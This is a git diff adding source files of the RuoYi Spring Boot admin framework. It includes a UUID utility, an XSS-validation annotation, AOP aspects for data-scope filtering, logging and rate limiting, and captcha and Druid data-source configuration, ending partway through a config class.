    + * 如果两个 UUID 不同,且第一个 UUID 的最高有效字段大于第二个 UUID 的对应字段,则第一个 UUID 大于第二个 UUID。 + * + * @param val 与此 UUID 比较的 UUID + * + * @return 在此 UUID 小于、等于或大于 val 时,分别返回 -1、0 或 1。 + * + */ + @Override + public int compareTo(UUID val) + { + // The ordering is intentionally set up so that the UUIDs + // can simply be numerically compared as two numbers + return (this.mostSigBits < val.mostSigBits ? -1 : // + (this.mostSigBits > val.mostSigBits ? 1 : // + (this.leastSigBits < val.leastSigBits ? -1 : // + (this.leastSigBits > val.leastSigBits ? 1 : // + 0)))); + } + + // ------------------------------------------------------------------------------------------------------------------- + // Private method start + /** + * 返回指定数字对应的hex值 + * + * @param val 值 + * @param digits 位 + * @return 值 + */ + private static String digits(long val, int digits) + { + long hi = 1L << (digits * 4); + return Long.toHexString(hi | (val & (hi - 1))).substring(1); + } + + /** + * 检查是否为time-based版本UUID + */ + private void checkTimeBase() + { + if (version() != 1) + { + throw new UnsupportedOperationException("Not a time-based UUID"); + } + } + + /** + * 获取{@link SecureRandom},类提供加密的强随机数生成器 (RNG) + * + * @return {@link SecureRandom} + */ + public static SecureRandom getSecureRandom() + { + try + { + return SecureRandom.getInstance("SHA1PRNG"); + } + catch (NoSuchAlgorithmException e) + { + throw new UtilException(e); + } + } + + /** + * 获取随机数生成器对象
    + * ThreadLocalRandom是JDK 7之后提供并发产生随机数,能够解决多个线程发生的竞争争夺。 + * + * @return {@link ThreadLocalRandom} + */ + public static ThreadLocalRandom getRandom() + { + return ThreadLocalRandom.current(); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/xss/Xss.java b/ruoyi-common/src/main/java/com/ruoyi/common/xss/Xss.java new file mode 100644 index 0000000..7bfdf04 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/xss/Xss.java @@ -0,0 +1,27 @@ +package com.ruoyi.common.xss; + +import javax.validation.Constraint; +import javax.validation.Payload; +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +/** + * 自定义xss校验注解 + * + * @author ruoyi + */ +@Retention(RetentionPolicy.RUNTIME) +@Target(value = { ElementType.METHOD, ElementType.FIELD, ElementType.CONSTRUCTOR, ElementType.PARAMETER }) +@Constraint(validatedBy = { XssValidator.class }) +public @interface Xss +{ + String message() + + default "不允许任何脚本运行"; + + Class[] groups() default {}; + + Class[] payload() default {}; +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/xss/XssValidator.java b/ruoyi-common/src/main/java/com/ruoyi/common/xss/XssValidator.java new file mode 100644 index 0000000..ed9ec1f --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/xss/XssValidator.java @@ -0,0 +1,34 @@ +package com.ruoyi.common.xss; + +import com.ruoyi.common.utils.StringUtils; +import javax.validation.ConstraintValidator; +import javax.validation.ConstraintValidatorContext; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +/** + * 自定义xss校验注解实现 + * + * @author ruoyi + */ +public class XssValidator implements ConstraintValidator +{ + private static final String HTML_PATTERN = "<(\\S*?)[^>]*>.*?|<.*? />"; + + @Override + public boolean isValid(String value, ConstraintValidatorContext constraintValidatorContext) + { + if (StringUtils.isBlank(value)) + { + return true; + } + return !containsHtml(value); + } + + public static boolean containsHtml(String value) + { + Pattern pattern = Pattern.compile(HTML_PATTERN); + Matcher matcher = pattern.matcher(value); + return matcher.matches(); + } +} \ No newline at end of file diff --git a/ruoyi-framework/pom.xml b/ruoyi-framework/pom.xml new file mode 100644 index 0000000..96dcb0f --- /dev/null +++ b/ruoyi-framework/pom.xml @@ -0,0 +1,64 @@ + + + + ruoyi + com.ruoyi + 3.8.5 + + 4.0.0 + + ruoyi-framework + + + framework框架核心 + + + + + + + org.springframework.boot + spring-boot-starter-web + + + + + org.springframework.boot + spring-boot-starter-aop + + + + + com.alibaba + druid-spring-boot-starter + + + + + pro.fessional + kaptcha + + + javax.servlet-api + javax.servlet + + + + + + + com.github.oshi + oshi-core + + + + + com.ruoyi + ruoyi-system + + + + + \ No newline at end of file diff --git a/ruoyi-framework/ruoyi-framework.iml b/ruoyi-framework/ruoyi-framework.iml new file mode 100644 index 0000000..8d8c409 --- /dev/null +++ b/ruoyi-framework/ruoyi-framework.iml @@ -0,0 +1,286 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/aspectj/DataScopeAspect.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/aspectj/DataScopeAspect.java new file mode 100644 index 0000000..1bc2f69 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/aspectj/DataScopeAspect.java @@ -0,0 +1,174 @@ +package com.ruoyi.framework.aspectj; + +import java.util.ArrayList; +import java.util.List; +import org.aspectj.lang.JoinPoint; +import org.aspectj.lang.annotation.Aspect; +import org.aspectj.lang.annotation.Before; +import org.springframework.stereotype.Component; +import com.ruoyi.common.annotation.DataScope; +import com.ruoyi.common.core.domain.BaseEntity; +import com.ruoyi.common.core.domain.entity.SysRole; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.core.text.Convert; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.framework.security.context.PermissionContextHolder; + +/** + * 数据过滤处理 + * + * @author ruoyi + */ +@Aspect +@Component +public class DataScopeAspect +{ + /** + * 全部数据权限 + */ + public static final String DATA_SCOPE_ALL = "1"; + + /** + * 自定数据权限 + */ + public static final String DATA_SCOPE_CUSTOM = "2"; + + /** + * 部门数据权限 + */ + public static final String DATA_SCOPE_DEPT = "3"; + + /** + * 部门及以下数据权限 + */ + public static final String DATA_SCOPE_DEPT_AND_CHILD = "4"; + + /** + * 仅本人数据权限 + */ + public static final String DATA_SCOPE_SELF = "5"; + + /** + * 数据权限过滤关键字 + */ + public static final String DATA_SCOPE = "dataScope"; + + @Before("@annotation(controllerDataScope)") + public void doBefore(JoinPoint point, DataScope controllerDataScope) throws Throwable + { + clearDataScope(point); + handleDataScope(point, controllerDataScope); + } + + protected void handleDataScope(final JoinPoint joinPoint, DataScope controllerDataScope) + { + // 获取当前的用户 + LoginUser loginUser = SecurityUtils.getLoginUser(); + if (StringUtils.isNotNull(loginUser)) + { + SysUser currentUser = loginUser.getUser(); + // 如果是超级管理员,则不过滤数据 + if (StringUtils.isNotNull(currentUser) && !currentUser.isAdmin()) + { + String permission = StringUtils.defaultIfEmpty(controllerDataScope.permission(), PermissionContextHolder.getContext()); + dataScopeFilter(joinPoint, currentUser, controllerDataScope.deptAlias(), + controllerDataScope.userAlias(), permission); + } + } + } + + /** + * 数据范围过滤 + * + * @param joinPoint 切点 + * @param user 用户 + * @param deptAlias 部门别名 + * @param userAlias 用户别名 + * @param permission 权限字符 + */ + public static void dataScopeFilter(JoinPoint joinPoint, SysUser user, String deptAlias, String userAlias, String permission) + { + StringBuilder sqlString = new StringBuilder(); + List conditions = new ArrayList(); + + for (SysRole role : user.getRoles()) + { + String dataScope = role.getDataScope(); + if (!DATA_SCOPE_CUSTOM.equals(dataScope) && conditions.contains(dataScope)) + { + continue; + } + if (StringUtils.isNotEmpty(permission) && StringUtils.isNotEmpty(role.getPermissions()) + && !StringUtils.containsAny(role.getPermissions(), Convert.toStrArray(permission))) + { + continue; + } + if (DATA_SCOPE_ALL.equals(dataScope)) + { + sqlString = new StringBuilder(); + conditions.add(dataScope); + break; + } + else if (DATA_SCOPE_CUSTOM.equals(dataScope)) + { + sqlString.append(StringUtils.format( + " OR {}.dept_id IN ( SELECT dept_id FROM sys_role_dept WHERE role_id = {} ) ", deptAlias, + role.getRoleId())); + } + else if (DATA_SCOPE_DEPT.equals(dataScope)) + { + sqlString.append(StringUtils.format(" OR {}.dept_id = {} ", deptAlias, user.getDeptId())); + } + else if (DATA_SCOPE_DEPT_AND_CHILD.equals(dataScope)) + { + sqlString.append(StringUtils.format( + " OR {}.dept_id IN ( SELECT dept_id FROM sys_dept WHERE dept_id = {} or find_in_set( {} , ancestors ) )", + deptAlias, user.getDeptId(), user.getDeptId())); + } + else if (DATA_SCOPE_SELF.equals(dataScope)) + { + if (StringUtils.isNotBlank(userAlias)) + { + sqlString.append(StringUtils.format(" OR {}.user_id = {} ", userAlias, user.getUserId())); + } + else + { + // 数据权限为仅本人且没有userAlias别名不查询任何数据 + sqlString.append(StringUtils.format(" OR {}.dept_id = 0 ", deptAlias)); + } + } + conditions.add(dataScope); + } + + // 多角色情况下,所有角色都不包含传递过来的权限字符,这个时候sqlString也会为空,所以要限制一下,不查询任何数据 + if (StringUtils.isEmpty(conditions)) + { + sqlString.append(StringUtils.format(" OR {}.dept_id = 0 ", deptAlias)); + } + + if (StringUtils.isNotBlank(sqlString.toString())) + { + Object params = joinPoint.getArgs()[0]; + if (StringUtils.isNotNull(params) && params instanceof BaseEntity) + { + BaseEntity baseEntity = (BaseEntity) params; + baseEntity.getParams().put(DATA_SCOPE, " AND (" + sqlString.substring(4) + ")"); + } + } + } + + /** + * 拼接权限sql前先清空params.dataScope参数防止注入 + */ + private void clearDataScope(final JoinPoint joinPoint) + { + Object params = joinPoint.getArgs()[0]; + if (StringUtils.isNotNull(params) && params instanceof BaseEntity) + { + BaseEntity baseEntity = (BaseEntity) params; + baseEntity.getParams().put(DATA_SCOPE, ""); + } + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/aspectj/DataSourceAspect.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/aspectj/DataSourceAspect.java new file mode 100644 index 0000000..8c2c9f4 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/aspectj/DataSourceAspect.java @@ -0,0 +1,72 @@ +package com.ruoyi.framework.aspectj; + +import java.util.Objects; +import org.aspectj.lang.ProceedingJoinPoint; +import org.aspectj.lang.annotation.Around; +import org.aspectj.lang.annotation.Aspect; +import org.aspectj.lang.annotation.Pointcut; +import org.aspectj.lang.reflect.MethodSignature; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.core.annotation.AnnotationUtils; +import org.springframework.core.annotation.Order; +import org.springframework.stereotype.Component; +import com.ruoyi.common.annotation.DataSource; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.framework.datasource.DynamicDataSourceContextHolder; + +/** + * 多数据源处理 + * + * @author ruoyi + */ +@Aspect +@Order(1) +@Component +public class DataSourceAspect +{ + protected Logger logger = LoggerFactory.getLogger(getClass()); + + @Pointcut("@annotation(com.ruoyi.common.annotation.DataSource)" + + "|| @within(com.ruoyi.common.annotation.DataSource)") + public void dsPointCut() + { + + } + + @Around("dsPointCut()") + public Object around(ProceedingJoinPoint point) throws Throwable + { + DataSource dataSource = getDataSource(point); + + if (StringUtils.isNotNull(dataSource)) + { + DynamicDataSourceContextHolder.setDataSourceType(dataSource.value().name()); + } + + try + { + return point.proceed(); + } + finally + { + // 销毁数据源 在执行方法之后 + DynamicDataSourceContextHolder.clearDataSourceType(); + } + } + + /** + * 获取需要切换的数据源 + */ + public DataSource getDataSource(ProceedingJoinPoint point) + { + MethodSignature signature = (MethodSignature) point.getSignature(); + DataSource dataSource = AnnotationUtils.findAnnotation(signature.getMethod(), DataSource.class); + if (Objects.nonNull(dataSource)) + { + return dataSource; + } + + return AnnotationUtils.findAnnotation(signature.getDeclaringType(), DataSource.class); + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/aspectj/LogAspect.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/aspectj/LogAspect.java new file mode 100644 index 0000000..5980eb7 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/aspectj/LogAspect.java @@ -0,0 +1,249 @@ +package com.ruoyi.framework.aspectj; + +import java.util.Collection; +import java.util.Map; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import org.apache.commons.lang3.ArrayUtils; +import org.aspectj.lang.JoinPoint; +import org.aspectj.lang.annotation.AfterReturning; +import org.aspectj.lang.annotation.AfterThrowing; +import org.aspectj.lang.annotation.Aspect; +import org.aspectj.lang.annotation.Before; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.core.NamedThreadLocal; +import org.springframework.stereotype.Component; +import org.springframework.validation.BindingResult; +import org.springframework.web.multipart.MultipartFile; +import com.alibaba.fastjson2.JSON; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.enums.BusinessStatus; +import com.ruoyi.common.enums.HttpMethod; +import com.ruoyi.common.filter.PropertyPreExcludeFilter; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.ServletUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.ip.IpUtils; +import com.ruoyi.framework.manager.AsyncManager; +import com.ruoyi.framework.manager.factory.AsyncFactory; +import com.ruoyi.system.domain.SysOperLog; + +/** + * 操作日志记录处理 + * + * @author ruoyi + */ +@Aspect +@Component +public class LogAspect +{ + private static final Logger log = LoggerFactory.getLogger(LogAspect.class); + + /** 排除敏感属性字段 */ + public static final String[] EXCLUDE_PROPERTIES = { "password", "oldPassword", "newPassword", "confirmPassword" }; + + /** 计算操作消耗时间 */ + private static final ThreadLocal TIME_THREADLOCAL = new NamedThreadLocal("Cost Time"); + + /** + * 处理请求前执行 + */ + @Before(value = "@annotation(controllerLog)") + public void boBefore(JoinPoint joinPoint, Log controllerLog) + { + TIME_THREADLOCAL.set(System.currentTimeMillis()); + } + + /** + * 处理完请求后执行 + * + * @param joinPoint 切点 + */ + @AfterReturning(pointcut = "@annotation(controllerLog)", returning = "jsonResult") + public void doAfterReturning(JoinPoint joinPoint, Log controllerLog, Object jsonResult) + { + handleLog(joinPoint, controllerLog, null, jsonResult); + } + + /** + * 拦截异常操作 + * + * @param joinPoint 切点 + * @param e 异常 + */ + @AfterThrowing(value = "@annotation(controllerLog)", throwing = "e") + public void doAfterThrowing(JoinPoint joinPoint, Log controllerLog, Exception e) + { + handleLog(joinPoint, controllerLog, e, null); + } + + protected void handleLog(final JoinPoint joinPoint, Log controllerLog, final Exception e, Object jsonResult) + { + try + { + // 获取当前的用户 + LoginUser loginUser = SecurityUtils.getLoginUser(); + + // *========数据库日志=========*// + SysOperLog operLog = new SysOperLog(); + operLog.setStatus(BusinessStatus.SUCCESS.ordinal()); + // 请求的地址 + String ip = IpUtils.getIpAddr(); + operLog.setOperIp(ip); + operLog.setOperUrl(StringUtils.substring(ServletUtils.getRequest().getRequestURI(), 0, 255)); + if (loginUser != null) + { + operLog.setOperName(loginUser.getUsername()); + } + + if (e != null) + { + operLog.setStatus(BusinessStatus.FAIL.ordinal()); + operLog.setErrorMsg(StringUtils.substring(e.getMessage(), 0, 2000)); + } + // 设置方法名称 + String className = joinPoint.getTarget().getClass().getName(); + String methodName = joinPoint.getSignature().getName(); + operLog.setMethod(className + "." + methodName + "()"); + // 设置请求方式 + operLog.setRequestMethod(ServletUtils.getRequest().getMethod()); + // 处理设置注解上的参数 + getControllerMethodDescription(joinPoint, controllerLog, operLog, jsonResult); + // 设置消耗时间 + operLog.setCostTime(System.currentTimeMillis() - TIME_THREADLOCAL.get()); + // 保存数据库 + AsyncManager.me().execute(AsyncFactory.recordOper(operLog)); + } + catch (Exception exp) + { + // 记录本地异常日志 + log.error("异常信息:{}", exp.getMessage()); + exp.printStackTrace(); + } + finally + { + TIME_THREADLOCAL.remove(); + } + } + + /** + * 获取注解中对方法的描述信息 用于Controller层注解 + * + * @param log 日志 + * @param operLog 操作日志 + * @throws Exception + */ + public void getControllerMethodDescription(JoinPoint joinPoint, Log log, SysOperLog operLog, Object jsonResult) throws Exception + { + // 设置action动作 + operLog.setBusinessType(log.businessType().ordinal()); + // 设置标题 + operLog.setTitle(log.title()); + // 设置操作人类别 + operLog.setOperatorType(log.operatorType().ordinal()); + // 是否需要保存request,参数和值 + if (log.isSaveRequestData()) + { + // 获取参数的信息,传入到数据库中。 + setRequestValue(joinPoint, operLog, log.excludeParamNames()); + } + // 是否需要保存response,参数和值 + if (log.isSaveResponseData() && StringUtils.isNotNull(jsonResult)) + { + operLog.setJsonResult(StringUtils.substring(JSON.toJSONString(jsonResult), 0, 2000)); + } + } + + /** + * 获取请求的参数,放到log中 + * + * @param operLog 操作日志 + * @throws Exception 异常 + */ + private void setRequestValue(JoinPoint joinPoint, SysOperLog operLog, String[] excludeParamNames) throws Exception + { + Map paramsMap = ServletUtils.getParamMap(ServletUtils.getRequest()); + String requestMethod = operLog.getRequestMethod(); + if (StringUtils.isEmpty(paramsMap) + && (HttpMethod.PUT.name().equals(requestMethod) || HttpMethod.POST.name().equals(requestMethod))) + { + String params = argsArrayToString(joinPoint.getArgs(), excludeParamNames); + operLog.setOperParam(StringUtils.substring(params, 0, 2000)); + } + else + { + operLog.setOperParam(StringUtils.substring(JSON.toJSONString(paramsMap, excludePropertyPreFilter(excludeParamNames)), 0, 2000)); + } + } + + /** + * 参数拼装 + */ + private String argsArrayToString(Object[] paramsArray, String[] excludeParamNames) + { + String params = ""; + if (paramsArray != null && paramsArray.length > 0) + { + for (Object o : paramsArray) + { + if (StringUtils.isNotNull(o) && !isFilterObject(o)) + { + try + { + String jsonObj = JSON.toJSONString(o, excludePropertyPreFilter(excludeParamNames)); + params += jsonObj.toString() + " "; + } + catch (Exception e) + { + } + } + } + } + return params.trim(); + } + + /** + * 忽略敏感属性 + */ + public PropertyPreExcludeFilter excludePropertyPreFilter(String[] excludeParamNames) + { + return new PropertyPreExcludeFilter().addExcludes(ArrayUtils.addAll(EXCLUDE_PROPERTIES, excludeParamNames)); + } + + /** + * 判断是否需要过滤的对象。 + * + * @param o 对象信息。 + * @return 如果是需要过滤的对象,则返回true;否则返回false。 + */ + @SuppressWarnings("rawtypes") + public boolean isFilterObject(final Object o) + { + Class clazz = o.getClass(); + if (clazz.isArray()) + { + return clazz.getComponentType().isAssignableFrom(MultipartFile.class); + } + else if (Collection.class.isAssignableFrom(clazz)) + { + Collection collection = (Collection) o; + for (Object value : collection) + { + return value instanceof MultipartFile; + } + } + else if (Map.class.isAssignableFrom(clazz)) + { + Map map = (Map) o; + for (Object value : map.entrySet()) + { + Map.Entry entry = (Map.Entry) value; + return entry.getValue() instanceof MultipartFile; + } + } + return o instanceof MultipartFile || o instanceof HttpServletRequest || o instanceof HttpServletResponse + || o instanceof BindingResult; + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/aspectj/RateLimiterAspect.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/aspectj/RateLimiterAspect.java new file mode 100644 index 0000000..bce8aa1 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/aspectj/RateLimiterAspect.java @@ -0,0 +1,89 @@ +package com.ruoyi.framework.aspectj; + +import java.lang.reflect.Method; +import java.util.Collections; +import java.util.List; +import org.aspectj.lang.JoinPoint; +import org.aspectj.lang.annotation.Aspect; +import org.aspectj.lang.annotation.Before; +import org.aspectj.lang.reflect.MethodSignature; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.data.redis.core.RedisTemplate; +import org.springframework.data.redis.core.script.RedisScript; +import org.springframework.stereotype.Component; +import com.ruoyi.common.annotation.RateLimiter; +import com.ruoyi.common.enums.LimitType; +import com.ruoyi.common.exception.ServiceException; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.ip.IpUtils; + +/** + * 限流处理 + * + * @author ruoyi + */ +@Aspect +@Component +public class RateLimiterAspect +{ + private static final Logger log = LoggerFactory.getLogger(RateLimiterAspect.class); + + private RedisTemplate redisTemplate; + + private RedisScript limitScript; + + @Autowired + public void setRedisTemplate1(RedisTemplate redisTemplate) + { + this.redisTemplate = redisTemplate; + } + + @Autowired + public void setLimitScript(RedisScript limitScript) + { + this.limitScript = limitScript; + } + + @Before("@annotation(rateLimiter)") + public void doBefore(JoinPoint point, RateLimiter rateLimiter) throws Throwable + { + int time = rateLimiter.time(); + int count = rateLimiter.count(); + + String combineKey = getCombineKey(rateLimiter, point); + List keys = Collections.singletonList(combineKey); + try + { + Long number = redisTemplate.execute(limitScript, keys, count, time); + if (StringUtils.isNull(number) || number.intValue() > count) + { + throw new ServiceException("访问过于频繁,请稍候再试"); + } + log.debug("限制请求'{}',当前请求'{}',缓存key'{}'", count, number.intValue(), combineKey); + } + catch (ServiceException e) + { + throw e; + } + catch (Exception e) + { + throw new RuntimeException("服务器限流异常,请稍候再试"); + } + } + + public String getCombineKey(RateLimiter rateLimiter, JoinPoint point) + { + StringBuffer stringBuffer = new StringBuffer(rateLimiter.key()); + if (rateLimiter.limitType() == LimitType.IP) + { + stringBuffer.append(IpUtils.getIpAddr()).append("-"); + } + MethodSignature signature = (MethodSignature) point.getSignature(); + Method method = signature.getMethod(); + Class targetClass = method.getDeclaringClass(); + stringBuffer.append(targetClass.getName()).append("-").append(method.getName()); + return stringBuffer.toString(); + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/ApplicationConfig.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/ApplicationConfig.java new file mode 100644 index 0000000..1d4dc1f --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/ApplicationConfig.java @@ -0,0 +1,30 @@ +package com.ruoyi.framework.config; + +import java.util.TimeZone; +import org.mybatis.spring.annotation.MapperScan; +import org.springframework.boot.autoconfigure.jackson.Jackson2ObjectMapperBuilderCustomizer; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.context.annotation.EnableAspectJAutoProxy; + +/** + * 程序注解配置 + * + * @author ruoyi + */ +@Configuration +// 表示通过aop框架暴露该代理对象,AopContext能够访问 +@EnableAspectJAutoProxy(exposeProxy = true) +// 指定要扫描的Mapper类的包的路径 +@MapperScan("com.ruoyi.**.mapper") +public class ApplicationConfig +{ + /** + * 时区配置 + */ + @Bean + public Jackson2ObjectMapperBuilderCustomizer jacksonObjectMapperCustomization() + { + return jacksonObjectMapperBuilder -> jacksonObjectMapperBuilder.timeZone(TimeZone.getDefault()); + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/CaptchaConfig.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/CaptchaConfig.java new file mode 100644 index 0000000..43e78ae --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/CaptchaConfig.java @@ -0,0 +1,83 @@ +package com.ruoyi.framework.config; + +import java.util.Properties; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import com.google.code.kaptcha.impl.DefaultKaptcha; +import com.google.code.kaptcha.util.Config; +import static com.google.code.kaptcha.Constants.*; + +/** + * 验证码配置 + * + * @author ruoyi + */ +@Configuration +public class CaptchaConfig +{ + @Bean(name = "captchaProducer") + public DefaultKaptcha getKaptchaBean() + { + DefaultKaptcha defaultKaptcha = new DefaultKaptcha(); + Properties properties = new Properties(); + // 是否有边框 默认为true 我们可以自己设置yes,no + properties.setProperty(KAPTCHA_BORDER, "yes"); + // 验证码文本字符颜色 默认为Color.BLACK + properties.setProperty(KAPTCHA_TEXTPRODUCER_FONT_COLOR, "black"); + // 验证码图片宽度 默认为200 + properties.setProperty(KAPTCHA_IMAGE_WIDTH, "160"); + // 验证码图片高度 默认为50 + properties.setProperty(KAPTCHA_IMAGE_HEIGHT, "60"); + // 验证码文本字符大小 默认为40 + properties.setProperty(KAPTCHA_TEXTPRODUCER_FONT_SIZE, "38"); + // KAPTCHA_SESSION_KEY + properties.setProperty(KAPTCHA_SESSION_CONFIG_KEY, "kaptchaCode"); + // 验证码文本字符长度 默认为5 + properties.setProperty(KAPTCHA_TEXTPRODUCER_CHAR_LENGTH, "4"); + // 验证码文本字体样式 默认为new Font("Arial", 1, fontSize), new Font("Courier", 1, fontSize) + properties.setProperty(KAPTCHA_TEXTPRODUCER_FONT_NAMES, "Arial,Courier"); + // 图片样式 水纹com.google.code.kaptcha.impl.WaterRipple 鱼眼com.google.code.kaptcha.impl.FishEyeGimpy 阴影com.google.code.kaptcha.impl.ShadowGimpy + properties.setProperty(KAPTCHA_OBSCURIFICATOR_IMPL, "com.google.code.kaptcha.impl.ShadowGimpy"); + Config config = new Config(properties); + defaultKaptcha.setConfig(config); + return defaultKaptcha; + } + + @Bean(name = "captchaProducerMath") + public DefaultKaptcha getKaptchaBeanMath() + { + DefaultKaptcha defaultKaptcha = new DefaultKaptcha(); + Properties properties = new Properties(); + // 是否有边框 默认为true 我们可以自己设置yes,no + properties.setProperty(KAPTCHA_BORDER, "yes"); + // 边框颜色 默认为Color.BLACK + properties.setProperty(KAPTCHA_BORDER_COLOR, "105,179,90"); + // 验证码文本字符颜色 默认为Color.BLACK + properties.setProperty(KAPTCHA_TEXTPRODUCER_FONT_COLOR, "blue"); + // 验证码图片宽度 默认为200 + properties.setProperty(KAPTCHA_IMAGE_WIDTH, "160"); + // 验证码图片高度 默认为50 + properties.setProperty(KAPTCHA_IMAGE_HEIGHT, "60"); + // 验证码文本字符大小 默认为40 + properties.setProperty(KAPTCHA_TEXTPRODUCER_FONT_SIZE, "35"); + // KAPTCHA_SESSION_KEY + properties.setProperty(KAPTCHA_SESSION_CONFIG_KEY, "kaptchaCodeMath"); + // 验证码文本生成器 + properties.setProperty(KAPTCHA_TEXTPRODUCER_IMPL, "com.ruoyi.framework.config.KaptchaTextCreator"); + // 验证码文本字符间距 默认为2 + properties.setProperty(KAPTCHA_TEXTPRODUCER_CHAR_SPACE, "3"); + // 验证码文本字符长度 默认为5 + properties.setProperty(KAPTCHA_TEXTPRODUCER_CHAR_LENGTH, "6"); + // 验证码文本字体样式 默认为new Font("Arial", 1, fontSize), new Font("Courier", 1, fontSize) + properties.setProperty(KAPTCHA_TEXTPRODUCER_FONT_NAMES, "Arial,Courier"); + // 验证码噪点颜色 默认为Color.BLACK + properties.setProperty(KAPTCHA_NOISE_COLOR, "white"); + // 干扰实现类 + properties.setProperty(KAPTCHA_NOISE_IMPL, "com.google.code.kaptcha.impl.NoNoise"); + // 图片样式 水纹com.google.code.kaptcha.impl.WaterRipple 鱼眼com.google.code.kaptcha.impl.FishEyeGimpy 阴影com.google.code.kaptcha.impl.ShadowGimpy + properties.setProperty(KAPTCHA_OBSCURIFICATOR_IMPL, "com.google.code.kaptcha.impl.ShadowGimpy"); + Config config = new Config(properties); + defaultKaptcha.setConfig(config); + return defaultKaptcha; + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/DruidConfig.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/DruidConfig.java new file mode 100644 index 0000000..f6abac1 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/DruidConfig.java @@ -0,0 +1,126 @@ +package com.ruoyi.framework.config; + +import java.io.IOException; +import java.util.HashMap; +import java.util.Map; +import javax.servlet.Filter; +import javax.servlet.FilterChain; +import javax.servlet.ServletException; +import javax.servlet.ServletRequest; +import javax.servlet.ServletResponse; +import javax.sql.DataSource; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.boot.context.properties.ConfigurationProperties; +import org.springframework.boot.web.servlet.FilterRegistrationBean; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.context.annotation.Primary; +import com.alibaba.druid.pool.DruidDataSource; +import com.alibaba.druid.spring.boot.autoconfigure.DruidDataSourceBuilder; +import com.alibaba.druid.spring.boot.autoconfigure.properties.DruidStatProperties; +import com.alibaba.druid.util.Utils; +import com.ruoyi.common.enums.DataSourceType; +import com.ruoyi.common.utils.spring.SpringUtils; +import com.ruoyi.framework.config.properties.DruidProperties; +import com.ruoyi.framework.datasource.DynamicDataSource; + +/** + * druid 配置多数据源 + * + * @author ruoyi + */ +@Configuration +public class DruidConfig +{ + @Bean + @ConfigurationProperties("spring.datasource.druid.master") + public DataSource masterDataSource(DruidProperties druidProperties) + { + DruidDataSource dataSource = DruidDataSourceBuilder.create().build(); + return druidProperties.dataSource(dataSource); + } + + @Bean + @ConfigurationProperties("spring.datasource.druid.slave") + @ConditionalOnProperty(prefix = "spring.datasource.druid.slave", name = "enabled", havingValue = "true") + public DataSource slaveDataSource(DruidProperties druidProperties) + { + DruidDataSource dataSource = DruidDataSourceBuilder.create().build(); + return druidProperties.dataSource(dataSource); + } + + @Bean(name = "dynamicDataSource") + @Primary + public DynamicDataSource dataSource(DataSource masterDataSource) + { + Map targetDataSources = new HashMap<>(); + targetDataSources.put(DataSourceType.MASTER.name(), masterDataSource); + setDataSource(targetDataSources, DataSourceType.SLAVE.name(), "slaveDataSource"); + return new DynamicDataSource(masterDataSource, targetDataSources); + } + + /** + * 设置数据源 + * + * @param targetDataSources 备选数据源集合 + * @param sourceName 数据源名称 + * @param beanName bean名称 + */ + public void setDataSource(Map targetDataSources, String sourceName, String beanName) + { + try + { + DataSource dataSource = SpringUtils.getBean(beanName); + targetDataSources.put(sourceName, dataSource); + } + catch (Exception e) + { + } + } + + /** + 